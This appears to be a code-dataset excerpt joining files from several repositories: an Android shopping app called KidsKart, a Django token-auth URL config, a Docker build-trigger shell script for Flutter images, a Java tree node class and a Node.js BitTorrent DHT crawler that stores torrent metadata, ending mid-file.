branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep>package com.kidskart; import android.app.ActionBar; import android.app.ProgressDialog; import android.content.res.Configuration; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.ActionBarDrawerToggle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.support.v4.widget.DrawerLayout; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.webkit.WebSettings; import android.webkit.WebView; import android.widget.TextView; import android.widget.Toast; import com.android.volley.Request; import com.android.volley.RequestQueue; import com.android.volley.Response; import com.android.volley.VolleyError; import com.android.volley.toolbox.StringRequest; import com.kidskart.application.MyVolley; import com.kidskart.callbacks.SwitchFragmentsCallback; import com.kidskart.fragment.HomePageFragment; import com.kidskart.util.Constants; import org.json.JSONException; import org.json.JSONObject; public class MainActivity extends FragmentActivity implements SwitchFragmentsCallback{ private static final String TAG = "MainActivity"; public static final int FRAG_CATEGORY_LIST = 1; public static final int FRAG_SUBCATEGORY_LIST = 2; public static final int FRAG_PRODUCT_DETAIL = 3; public static final int FRAG_FILTER = 4; public static final int FRAG_PROFILE = 5; public static final int FRAG_MORE = 6; public static final int FRAG_BITCH_LOGIN = 7; public static final int FRAG_BITCH_RULES = 8; private static int activeFragment = 0; Fragment currentFragmentInstance; Menu menu; ProgressDialog pDialog; private ActionBarDrawerToggle mDrawerToggle; private DrawerLayout mDrawerLayout; private WebView mDrawerList; //WebView webViewDashboard; String cartCount = ""; String menuHTML; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //webViewDashboard = (WebView) findViewById(R.id.webViewDashboard); mDrawerLayout = (DrawerLayout) findViewById(R.id.drawer_layout); mDrawerList = (WebView) findViewById(R.id.left_drawer); mDrawerToggle = new ActionBarDrawerToggle( this, /* host Activity */ mDrawerLayout, /* DrawerLayout object */ R.drawable.ic_menu_black_24dp, /* nav drawer icon to replace 'Up' caret */ R.string.drawer_open, /* "open drawer" description */ R.string.drawer_close /* "close drawer" description */ ) { /** Called when a drawer has settled in a completely closed state. */ public void onDrawerClosed(View view) { super.onDrawerClosed(view); //getActionBar().setTitle(mTitle); invalidateOptionsMenu(); // creates call to onPrepareOptionsMenu() } /** Called when a drawer has settled in a completely open state. */ public void onDrawerOpened(View drawerView) { super.onDrawerOpened(drawerView); //getActionBar().setTitle(mDrawerTitle); invalidateOptionsMenu(); // creates call to onPrepareOptionsMenu() } }; mDrawerToggle.setHomeAsUpIndicator(R.drawable.ic_drawer); mDrawerLayout.setDrawerListener(mDrawerToggle); pDialog = new ProgressDialog(MainActivity.this); ActionBar actionBar = getActionBar(); actionBar.setTitle("KidsKart"); /*Spannable text = new SpannableString(actionBar.getTitle()); text.setSpan(new ForegroundColorSpan(Color.rgb()), 0, text.length(), Spannable.SPAN_INCLUSIVE_INCLUSIVE); actionBar.setTitle(text);*/ getActionBar().setDisplayHomeAsUpEnabled(true); getActionBar().setHomeButtonEnabled(true); //getActionBar().setLogo(R.drawable.logo); getActionBar().setDisplayUseLogoEnabled(false); //actionBar.setDisplayUseLogoEnabled(true); //getActionBar().setDisplayShowHomeEnabled(true); //getSupportActionBar().setIcon(R.drawable.logo); new Handler().postDelayed(getData,200); pDialog.setMessage("Loading ..."); pDialog.show(); } private Response.Listener<String> createMyReqSuccessListener() { return new Response.Listener<String>() { @Override public void onResponse(String response) { //setTvResultText(response); Log.d(TAG,"Response = "+response); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } try { JSONObject jsonObject = new JSONObject(response); String url = jsonObject.optString("home_url"); //initWebview(url); HomePageFragment fragment = new HomePageFragment(); Bundle bundle = new Bundle(); bundle.putString("url",url); fragment.setArguments(bundle); switchFragmentAddToBackStack(fragment, FRAG_CATEGORY_LIST, null, true); cartCount = jsonObject.optString("cart_count"); updateCartCount(); } catch (JSONException e) { e.printStackTrace(); } } }; } Runnable getData = new Runnable() { @Override public void run() { RequestQueue queue = MyVolley.getRequestQueue(); StringRequest reqGetHomeData = new StringRequest(Request.Method.GET, Constants.GET_DASHBOARDHTML_CODE_URL,createMyReqSuccessListener(), createMyReqErrorListener()); reqGetHomeData.setShouldCache(false); queue.add(reqGetHomeData); StringRequest reqGetMenuData = new StringRequest(Request.Method.GET, Constants.GET_MENUHTML_CODE_URL,menuReqSuccessListener(), menuReqErrorListener()); reqGetMenuData.setShouldCache(false); queue.add(reqGetMenuData); } }; private Response.ErrorListener createMyReqErrorListener() { return new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { //mTvResult.setText(error.getMessage()); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } Toast.makeText(MainActivity.this, getString(R.string.volley_error),Toast.LENGTH_SHORT).show(); } }; } private Response.Listener<String> menuReqSuccessListener() { return new Response.Listener<String>() { @Override public void onResponse(String response) { //setTvResultText(response); Log.d(TAG, "Response = " + response); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } if (response != null) { menuHTML = response; WebSettings settings = mDrawerList.getSettings(); settings.setJavaScriptEnabled(true); mDrawerList.loadDataWithBaseURL(Constants.GET_MENUHTML_CODE_URL, menuHTML, "text/html", "UTF-8", ""); } } }; } private Response.ErrorListener menuReqErrorListener() { return new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { //mTvResult.setText(error.getMessage()); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } Toast.makeText(MainActivity.this, getString(R.string.volley_error),Toast.LENGTH_SHORT).show(); } }; } private void updateCartCount(){ if(menu != null){ View count = menu.findItem(R.id.actionCart).getActionView(); TextView menu_badge = (TextView) count.findViewById(R.id.menu_badge); menu_badge.setText(cartCount); } } @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); // Sync the toggle state after onRestoreInstanceState has occurred. mDrawerToggle.syncState(); } @Override public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); mDrawerToggle.onConfigurationChanged(newConfig); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); this.menu = menu; /*View count = menu.findItem(R.id.actionCart).getActionView(); TextView menu_badge = (TextView) count.findViewById(R.id.menu_badge); menu_badge.setText("15");*/ //ActionItemBadge.update(this, menu.findItem(R.id.actionCart), FontAwesome.Icon.faw_android, ActionItemBadge.BadgeStyles.DARK_GREY, badgeCount); //new ActionItemBadgeAdder().act(this).menu(menu).title("").itemDetails(0, 123, 1).showAsAction(MenuItem.SHOW_AS_ACTION_ALWAYS).add(ActionItemBadge.BadgeStyles.GREY_LARGE, 1); return true; } /*private void initWebview(String urlToLoad){ WebSettings settings = webViewDashboard.getSettings(); settings.setJavaScriptEnabled(true); //webViewDashboard.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); webViewDashboard.setScrollbarFadingEnabled(true); webViewDashboard.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { Log.i(TAG, "Processing webview url click..." + url); //return super.shouldOverrideUrlLoading(view, url); startActivity(new Intent(MainActivity.this, SubCategoryListActivity.class)); return true; } @Override public void onPageFinished(WebView view, String url) { Log.i(TAG, "Page Load Complete..." + url); startActivity(new Intent(MainActivity.this, SubCategoryListActivity.class)); super.onPageFinished(view, url); } @Override public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { Log.e(TAG, "Error: " + error.toString()); Toast.makeText(MainActivity.this, getString(R.string.webview_error), Toast.LENGTH_SHORT).show(); super.onReceivedError(view, request, error); } }); webViewDashboard.loadUrl(urlToLoad); }*/ @Override public void switchFragment(Fragment fragment, int fragID, Object extras) { FragmentTransaction transaction = getSupportFragmentManager().beginTransaction(); activeFragment = fragID; currentFragmentInstance = fragment; for(int i = 0; i < getSupportFragmentManager().getBackStackEntryCount(); i++){ getSupportFragmentManager().popBackStack(); } transaction.replace(R.id.content_frame, fragment,String.valueOf(fragID)).addToBackStack(String.valueOf(fragID)).commitAllowingStateLoss(); //updateButtonBG(); //prepareHeader(); } @Override public void switchFragmentAddToBackStack(Fragment fragment, int fragID, Object extras, boolean addToBackStack) { FragmentTransaction transaction = getSupportFragmentManager().beginTransaction(); activeFragment = fragID; currentFragmentInstance = fragment; if(addToBackStack){ transaction.replace(R.id.content_frame, fragment,String.valueOf(fragID)).addToBackStack(String.valueOf(fragID)).commitAllowingStateLoss(); }else{ transaction.replace(R.id.content_frame, fragment).commitAllowingStateLoss(); } //updateButtonBG(); //prepareHeader(); } @Override public void popBackStack(boolean popBackStack) { if(getSupportFragmentManager().getBackStackEntryCount() > 0){ getSupportFragmentManager().popBackStackImmediate(); } } private void findCurrentlyVisibleFragment(){ FragmentManager.BackStackEntry backEntry=getSupportFragmentManager().getBackStackEntryAt(getSupportFragmentManager().getBackStackEntryCount()-1); for(int i = 0 ; i < getSupportFragmentManager().getBackStackEntryCount(); i ++){ Log.d(TAG,"Backstack fragment at position "+i+ " is "+getSupportFragmentManager().getBackStackEntryAt(i).getName()); } String str=backEntry.getName(); Log.d(TAG,"Found Fragment id "+str); Fragment fragment=getSupportFragmentManager().findFragmentByTag(str); if(fragment != null){ activeFragment = Integer.parseInt(str); currentFragmentInstance = fragment; //prepareHeader(); //updateButtonBG(); } } @Override public void onBackPressed() { super.onBackPressed(); if(getSupportFragmentManager().getBackStackEntryCount() == 0){ finish(); } } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. this.menu = menu; updateCartCount(); int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } if (mDrawerToggle.onOptionsItemSelected(item)) { return true; } return super.onOptionsItemSelected(item); } @Override public boolean onPrepareOptionsMenu(Menu menu) { this.menu = menu; updateCartCount(); boolean drawerOpen = mDrawerLayout.isDrawerOpen(mDrawerList); menu.findItem(R.id.actionCart).setVisible(!drawerOpen); menu.findItem(R.id.actionSearch).setVisible(!drawerOpen); return super.onPrepareOptionsMenu(menu); } } <file_sep>package com.kidskart.util; import java.util.concurrent.TimeUnit; /** * Created by Nilesh on 10/05/15. */ public class Constants { public static String DOMAIN = "http://kidskartapp.a2zportals.com"; public static String GET_DASHBOARDHTML_CODE_URL = DOMAIN+"/index.php/mobileapi/"; public static String GET_PRODUCT_DATA_URL = DOMAIN+"/index.php/mobileapi/products/"; public static String GET_MENUHTML_CODE_URL = DOMAIN+"/index.php/mobile-menu"; public static final int TIMEOUT_SOCKET = (int) TimeUnit.MINUTES.toMillis(1); public static final int TIMEOUT_CONNECTION = (int) TimeUnit.MINUTES.toMillis(1); } <file_sep>package com.kidskart.data.category; import java.io.Serializable; /** * Created by nilesing on 10/5/2015. */ public class Sort implements Serializable { private String id; private String sort_by; private String direction; private String name; public String getId () { return id; } public void setId (String id) { this.id = id; } public String getSort_by () { return sort_by; } public void setSort_by (String sort_by) { this.sort_by = sort_by; } public String getDirection () { return direction; } public void setDirection (String direction) { this.direction = direction; } public String getName () { return name; } public void setName (String name) { this.name = name; } @Override public String toString() { return "ClassPojo [id = "+id+", sort_by = "+sort_by+", direction = "+direction+", name = "+name+"]"; } } <file_sep>package com.kidskart; import android.app.Activity; import android.os.Bundle; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import com.kidskart.adapter.CategoryDetailAdapter; import com.kidskart.data.SubCategoryData; import java.util.ArrayList; /** * Created by Nilesh on 19/09/15. */ public class SubCategoryListActivity extends Activity { ArrayList<SubCategoryData> arrSubcategoryData = new ArrayList<>(); RecyclerView mRecyclerView; private RecyclerView.Adapter mAdapter; private RecyclerView.LayoutManager mLayoutManager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); /*setContentView(R.layout.categorylist_fragment); mRecyclerView = (RecyclerView) findViewById(R.id.my_recycler_view); // use this setting to improve performance if you know that changes // in content do not change the layout size of the RecyclerView mRecyclerView.setHasFixedSize(true); // use a linear layout manager mLayoutManager = new LinearLayoutManager(this); mRecyclerView.setLayoutManager(mLayoutManager); for(int i = 0; i < 5; i ++){ SubCategoryData data = new SubCategoryData(); data.setTitle("Boys Mineral Red Sicillian Road Trip Graphic Item "+i); data.setDescription(getString(R.string.dummy_data_big)); data.setPrice(i*i + 20); arrSubcategoryData.add(data); } mAdapter = new CategoryDetailAdapter(arrSubcategoryData,SubCategoryListActivity.this); mRecyclerView.setAdapter(mAdapter); getActionBar().setTitle(""); getActionBar().setDisplayHomeAsUpEnabled(true); getActionBar().setIcon(R.drawable.logo);*/ } } <file_sep>package com.kidskart.fragment; import android.app.Activity; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.ListView; import com.kidskart.R; import com.kidskart.adapter.FilterNameAdapter; import com.kidskart.adapter.FilterValueAdapter; import com.kidskart.callbacks.SwitchFragmentsCallback; import com.kidskart.data.category.Filters; import com.kidskart.data.category.Values; import java.util.ArrayList; /** * Created by Nilesh on 08/10/15. */ public class FiltersFragment extends Fragment { ListView listFilter,listFilterValues; FilterNameAdapter filterNameAdapter; FilterValueAdapter filterValueAdapter; ArrayList<Filters> arrayFilters; ArrayList<Values> arrayValues; ImageView imgBack; SwitchFragmentsCallback switchFragmentsCallback; @Nullable @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.filter_layout,container,false); listFilter = (ListView) view.findViewById(R.id.listFilter); listFilterValues = (ListView) view.findViewById(R.id.listFilterValues); arrayValues = new ArrayList<>(); imgBack = (ImageView) view.findViewById(R.id.imgBack); imgBack.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if (switchFragmentsCallback != null) { switchFragmentsCallback.popBackStack(true); } } }); Bundle bundle = getArguments(); if (bundle != null) { arrayFilters = (ArrayList<Filters>) bundle.getSerializable("filters"); } if (arrayFilters != null) { if(arrayFilters.size() > 0){ arrayFilters.get(0).setIsSelected(true); arrayValues = arrayFilters.get(0).getValues(); } filterNameAdapter = new FilterNameAdapter(arrayFilters,getActivity(),this); listFilter.setAdapter(filterNameAdapter); filterValueAdapter = new FilterValueAdapter(arrayValues,getActivity()); listFilterValues.setAdapter(filterValueAdapter); } return view; } public void setNewFilterValues(Filters filters){ arrayValues = filters.getValues(); filterValueAdapter = new FilterValueAdapter(arrayValues,getActivity()); listFilterValues.setAdapter(filterValueAdapter); filterValueAdapter.notifyDataSetChanged(); } @Override public void onAttach(Activity activity) { super.onAttach(activity); switchFragmentsCallback = (SwitchFragmentsCallback) activity; } } <file_sep>package com.kidskart.fragment; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentStatePagerAdapter; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.kidskart.R; /** * Created by Nilesh on 20/09/15. */ public class ProductImageFragment extends Fragment { private ViewPager mPager; /** * The pager adapter, which provides the pages to the view pager widget. */ private PagerAdapter mPagerAdapter; @Nullable @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.product_image_slide_cell,container,false); return view; } } <file_sep>package com.kidskart.fragment; import android.app.Activity; import android.app.ProgressDialog; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.android.volley.Request; import com.android.volley.RequestQueue; import com.android.volley.Response; import com.android.volley.VolleyError; import com.android.volley.toolbox.JsonObjectRequest; import com.google.gson.Gson; import com.kidskart.MainActivity; import com.kidskart.R; import com.kidskart.adapter.CategoryDetailAdapter; import com.kidskart.application.MyVolley; import com.kidskart.callbacks.SwitchFragmentsCallback; import com.kidskart.data.SubCategoryData; import com.kidskart.data.category.CategoryData; import com.kidskart.util.Constants; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; /** * Created by Nilesh on 20/09/15. */ public class CategoryListFragment extends Fragment { private static final String TAG = "CategoryList"; ArrayList<SubCategoryData> arrSubcategoryData = new ArrayList<>(); RecyclerView mRecyclerView; private RecyclerView.Adapter mAdapter; private RecyclerView.LayoutManager mLayoutManager; SwitchFragmentsCallback switchFragmentsCallback; ImageView imgBack,imgFilter; JSONObject requestJson; //ArrayList<CategoryData> arrCategoryData; CategoryData categoryData; TextView txtCategoryCount,txtCategoryName; ProgressDialog pDialog; @Nullable @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.categorylist_fragment,container,false); mRecyclerView = (RecyclerView) view.findViewById(R.id.my_recycler_view); imgBack = (ImageView) view.findViewById(R.id.imgBack); imgFilter = (ImageView) view.findViewById(R.id.imgFilter); imgBack.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { switchFragmentsCallback.popBackStack(true); } }); imgFilter.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { FiltersFragment fragment = new FiltersFragment(); Bundle bundle = new Bundle(); bundle.putSerializable("filters",categoryData.getFilters()); fragment.setArguments(bundle); switchFragmentsCallback.switchFragmentAddToBackStack(fragment, MainActivity.FRAG_FILTER,null,true); } }); pDialog = new ProgressDialog(getActivity()); pDialog.setMessage("Getting Products..."); // use this setting to improve performance if you know that changes // in content do not change the layout size of the RecyclerView //mRecyclerView.setHasFixedSize(true); // use a linear layout manager mLayoutManager = new LinearLayoutManager(getActivity()); mRecyclerView.setLayoutManager(mLayoutManager); txtCategoryCount = (TextView) view.findViewById(R.id.txtCategoryCount); txtCategoryName = (TextView) view.findViewById(R.id.txtCategoryName); arrSubcategoryData.clear(); /*for(int i = 0; i < 5; i ++){ SubCategoryData data = new SubCategoryData(); data.setTitle("Boys Mineral Red Sicillian Road Trip Graphic Item "+i); data.setDescription(getString(R.string.dummy_data_big)); data.setPrice(i*i + 20); arrSubcategoryData.add(data); }*/ Bundle bundle = getArguments(); if (bundle != null) { String key = bundle.getString("key"); String value = bundle.getString("value"); requestJson = new JSONObject(); try { requestJson.putOpt(key,value); } catch (JSONException e) { e.printStackTrace(); } } Log.d(TAG," RequestJSON = "+requestJson); RequestQueue queue = MyVolley.getRequestQueue(); JsonObjectRequest jRequest = new JsonObjectRequest(Request.Method.POST, Constants.GET_PRODUCT_DATA_URL, requestJson, categoryDataReqSuccessListener(),categoryDataReqErrorListener()); /*StringRequest reqGetHomeData = new StringRequest(Request.Method.POST, Constants.GET_PRODUCT_DATA_URL,categoryDataReqSuccessListener(), categoryDataReqErrorListener()){ @Override protected Map<String, String> getParams() throws AuthFailureError { return super.getParams(); } };*/ jRequest.setShouldCache(false); queue.add(jRequest); pDialog.show(); return view; } private Response.ErrorListener categoryDataReqErrorListener() { return new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { //mTvResult.setText(error.getMessage()); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } Toast.makeText(getActivity(), getString(R.string.volley_error), Toast.LENGTH_SHORT).show(); } }; } private Response.Listener<JSONObject> categoryDataReqSuccessListener() { return new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { //setTvResultText(response); //Log.d(TAG, "Response = " + response); if(pDialog != null && pDialog.isShowing()){ pDialog.dismiss(); } if (response != null) { Log.d(TAG, " Result = "+response); Gson gson = new Gson(); categoryData = gson.fromJson(response.toString(),CategoryData.class); if (categoryData != null) { Log.d(TAG,"Product Count "+categoryData.getTotalProductCount()); setInitialValues(categoryData); } mAdapter = new CategoryDetailAdapter(categoryData,getActivity(),switchFragmentsCallback); mRecyclerView.setAdapter(mAdapter); //mAdapter.notifyDataSetChanged(); } } }; } private void setInitialValues(CategoryData data){ txtCategoryCount.setText("("+data.getTotalProductCount()+" items)"); txtCategoryName.setText(data.getCategory_name()); } @Override public void onAttach(Activity context) { super.onAttach(context); switchFragmentsCallback = (SwitchFragmentsCallback) getActivity(); } } <file_sep>package com.kidskart.callbacks; import android.support.v4.app.Fragment; import com.kidskart.data.category.Filters; /** * Created by Nilesh on 28/05/15. */ public interface SwitchFragmentsCallback { public void switchFragment(Fragment fragment, int fragID, Object extras); public void switchFragmentAddToBackStack(Fragment fragment, int fragID, Object extras, boolean addToBackStack); //public void switchFilterFragment(Fragment fragment, Filters filters); public void popBackStack(boolean popBackStack); }
0e38cd4088f3c01a88b70b4f1abd997d8c67187a
[ "Java" ]
8
Java
nilesh14/KidsK
c57a71848850bb431a1c60d191e71957396c42f7
9f2f1fa65bd99fd2e5df23c21dc33ce4312d9cfa
refs/heads/master
<file_sep>from django.urls import path from rest_framework.authtoken.views import obtain_auth_token from . import views urlpatterns = [ path('', views.HelloView.as_view(), name='hello'), path('api-token-auth/', obtain_auth_token, name='api_token_auth'), ]
c25929d22f2d1eb604c00ca9a0242ef3b2243b5e
[ "Python" ]
1
Python
diksha09/drf_token
f0aea727536c8f27e758291d3b9acbb895f8c4ee
610f4e315cf6c44592820fb17eea8fd79b143fae
refs/heads/master
<file_sep>#!/bin/bash # Execute this script such that $(pwd) returns the top level of a # flutter git workspace. This script will mantain a clean repository. # # If the need to kick off a triggered build is identified, the script # will sleep for 5 minutes to avoid tripping Docker's build rate limiter. curl_prefix="curl -H \"Content-Type: application/json\" --data '{\"docker_tag\": \"" curl_postfix="\"}' " if [ $# == 0 ]; then echo "Docker trigger URL required as input parameter." exit 1 fi # $1 = docker image name function check_differences() { if [ "$1" == "latest" ]; then git checkout master -- origin_head=$(git rev-parse @{u}) local_head=$(git rev-parse HEAD) else git checkout $1 -- origin_head=$(git rev-list -1 $(git describe --tags @{u})) local_head=$(git rev-list -1 $(git describe --tags)) fi if [ $origin_head != $local_head ]; then docker_tag="$1" eval $curl_prefix$docker_tag$curl_postfix$post_url git merge $origin_head sleep 5m fi } post_url=$1 git reset --hard HEAD git fetch --tags --prune --prune-tags check_differences "latest" check_differences "dev" check_differences "beta" check_differences "stable"
b4039d906a643e50928d78cb0ba7d67c2607c8d8
[ "Shell" ]
1
Shell
massimiliano76/docker-flutter
4ac875c06485f42bbf458f6caace2908a1f6cc94
2d497d549ae678170b135c3416a0a9056b48aa53
refs/heads/master
<repo_name>gresing/Nodes<file_sep>/src/main/Node.java package main; import java.util.ArrayList; import java.util.List; public class Node { private boolean isRoot; private Node parent; private List<Node> childes = new ArrayList<>(); private int parameterForComparison; public void addChild(Node n) { childes.add(n); } public Node(boolean isRoot, Node parent, int parameterForComparison) { this.isRoot = isRoot; this.parent = parent; // this.childes = childes; this.parameterForComparison = parameterForComparison; if (parent != null) { parent.addChild(this); } } public void setChildes(ArrayList<Node> childes) { this.childes = childes; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Node node = (Node) o; if (isRoot != node.isRoot) return false; if (parameterForComparison != node.parameterForComparison) return false; return childes != null ? childes.equals(node.childes) : node.childes == null; } @Override public int hashCode() { int result = (isRoot ? 1 : 0); result = 31 * result + (childes != null ? childes.hashCode() : 0); result = 31 * result + parameterForComparison; return result; } public Node getParent() { return parent; } public void setParent(Node parent) { this.parent = parent; } }
01a9ae911a172545f6e3f6493e730ce26cf6ae1a
[ "Java" ]
1
Java
gresing/Nodes
77f7b2931fb94440b44fb2713e0f919682721473
8389d541ab48d4c7a6dc67a7f2d4dda144461188
refs/heads/master
<file_sep>#!/usr/bin/env node const Sniffer = require('../'); const pouchdb = require('pouchdb') const path = require('path') const thepiratebay = require('../lib/thepiratebay-top.js') const {Max} = require('cycle-statistics') const max = new Max() const v8 = require('v8'); v8.setFlagsFromString('--optimize_for_size') const db = pouchdb( `${process.env.HOME}/.torrent-sniffer/database`, {revs_limit: 1} ); const REPLICATE_TO = process.env.REPLICATE_TO || 'http://torrdb:5984/torrent' db.replicate.to( REPLICATE_TO, { live: true, retry: true } ) .on('error', function (error) { console.error(error) }); const sniffer = new Sniffer({ timeout: 20000, maxPending: 50, }); sniffer.ignore(async function(infoHash) { try { const metadata = await db.get(infoHash.toString('hex')) console.log(`ignore: ${metadata.name}`); return true } catch (e) { if (404 !== e.status) { throw e } } }) sniffer.on('torrent', (torrent) => { max.push(sniffer.bt.torrents.length) torrent.once('close', () => { max.push(sniffer.bt.torrents.length) }) }) function lowerCaseExtname(_path) { return path.extname(_path).toLowerCase() } sniffer.on('metadata', async (torrent) => { const data = {}; data._id = torrent.infoHash data.magnet = torrent.magnetURI; data.name = torrent.info.name ? torrent.info.name.toString() : ''; if (torrent.info.files) { const extnames = new Set torrent.info.files.reduce((extnames, file) => { if (!file.path) { return extnames } const extname = lowerCaseExtname(file.path.toString()) return extnames.add(extname) }, extnames) data.extnames = [...extnames] } else { data.extnames = [lowerCaseExtname(data.name)] } try { await db.put(data) } catch (e) { console.error(e.message); return } console.log('--------'); console.log(data.name); console.log(data.magnet); }); const PORT = process.env.PORT || 20000 sniffer.start(PORT, () => { const { address, port } = sniffer.dht.address() console.log('UDP Server listening on %s:%s', address, port); setInterval(() => { console.log('--------'); console.log(`${max.restart()} torrents pending, ${sniffer.nodes.count()} nodes in contact`); max.push(sniffer.bt.torrents.length) }, 10000) async function $fetch() { const list = await thepiratebay() for (const item of list) { sniffer.add(item.infoHash, null, item.magnet) } } setInterval(() => { $fetch() }, 60e3 * 5) }) process.on('SIGINT', async () => { await db.close(); console.log("DB closed!"); process.exit(); }); <file_sep>#!/usr/bin/env node const level = require('level') const pouchdb = require('pouchdb') const oldDB = level(`${process.env.HOME}/.torrent-sniffer/leveldb`); const newDB = pouchdb( `${process.env.HOME}/.torrent-sniffer/database`, {revs_limit: 1} ); //console.log(newDB); let count = 0 const interval = 1000 const stream = oldDB.createReadStream() .on('data', async function(data) { const value = JSON.parse(data.value); //console.log(data.key, value.name); //console.log(value); const document = { _id: data.key, //_rev: 1, magnet: value.magnet, name: value.name, extnames: value.extnames.split(',') } count++ stream.pause() try { await newDB.put(document) } catch (e) { if (409 !== e.status) { throw e } } stream.resume() if (!(count % interval)) { console.log(`${count} torrents processed`); } }) .on('error', (error) => { console.error(error.stack); }) .on('close', () => { console.log('Stream closed') }) .on('end', () => { console.log('--------') console.log(`${count} torrents found`); console.log('Stream ended') }) <file_sep>const EventEmitter = require('events'); const DHT = require('bittorrent-dht') const crypto = require('crypto'); const WebTorrent = require('webtorrent') const ChunkStore = require('memory-chunk-store') const defaults = {} defaults.timeout = 60e3 * 10 defaults.maxPending = 200 class Sniffer extends EventEmitter { constructor(options) { super() this.options = Object.assign({}, defaults, options) const bt = this.bt = new WebTorrent({ //maxConns: 1, //dht: false, tracker: false, dht: { maxTables: 2, maxValues: 2, maxPeers: 20 } }) const dht = new DHT({ maxTables: 2, maxValues: 2, maxPeers: 20 }); this.dht = dht const rpc = this.rpc = dht._rpc const nodes = this.nodes = rpc.nodes this.bt.on('error', (error) => { console.error(error.message); }) this.locks = new Set dht.on('announce_peer', async (infoHash, peer) => { if (this.bt.torrents.length >= this.options.maxPending) { this.emit('busy', infoHash, peer) return } this.add(infoHash, peer) }) rpc.on('ping', (olders, newer) => { //const [older] = olders //rpc.nodes.remove(older.id) //for (const older of olders) { //rpc.nodes.remove(older.id) //} rpc.clear() }) dht.on('node', (node) => this.makeNeighbor(node)) } async add(infoHash, peer, magnet) { const locks = this.locks const lock = infoHash.toString('hex') if (locks.has(lock)) { return } locks.add(lock) const ignore = await this._ignore(infoHash) if (ignore) { return locks.delete(lock) } const torrent = this.bt.add(magnet || infoHash, { store: ChunkStore }) const timeout = setTimeout(() => { if (!this.bt.get(torrent)) { return } this.bt.remove(torrent) }, this.options.timeout); if (peer) { torrent.addPeer(`${peer.host}:${peer.port}`) } torrent.once('metadata', () => { clearTimeout(timeout) this.bt.remove(torrent) torrent.done = true this.emit('metadata', torrent) }) torrent.once('close', () => { locks.delete(lock) }) this.emit('torrent', torrent) } makeNeighbor(node, id) { const rpc = this.dht._rpc // prevent memleak if (rpc.pending.length) { return } const query = { t: crypto.randomBytes(4), y: 'q', q: 'find_node', a: { id: id || Buffer.concat([node.id.slice(0, 10), rpc.id.slice(10)]), target: crypto.randomBytes(20) } }; rpc.query(node, query) } ignore(callback) { this._ignore = callback; }; start(...args) { this.dht.listen(...args) setInterval(() => { const rpc = this.dht._rpc rpc.bootstrap.forEach((node) => this.makeNeighbor(node, rpc.id)) }, 10000) }; } Sniffer.defaults = defaults module.exports = Sniffer; <file_sep>## Torrent Sniffer ## Install ```sh npm install -g torrent-sniffer ``` ## Usage ```sh torrent-sniffer ``` ## License MIT <file_sep>#!/usr/bin/env sh service=`basename $0` mkdir -p ~/.$service/database exec `dirname $0`/$service.js <file_sep>FROM node:8-slim COPY package.json package-lock.json /application/ WORKDIR /application ENV NO_COLOR=1 RUN apt-get update && \ apt-get install -y python make g++ && \ npm install --production && \ npm cache clean --force && \ apt-get purge -y python make g++ && \ apt-get autoremove -y && \ apt-get clean COPY . /application VOLUME /root/.torrent-sniffer EXPOSE 20000/udp CMD npm start <file_sep>const fetch = require('node-fetch') const magnet = require('magnet-uri') const base = 'https://thepiratebay.org/top' const urls = [ '/48h200', 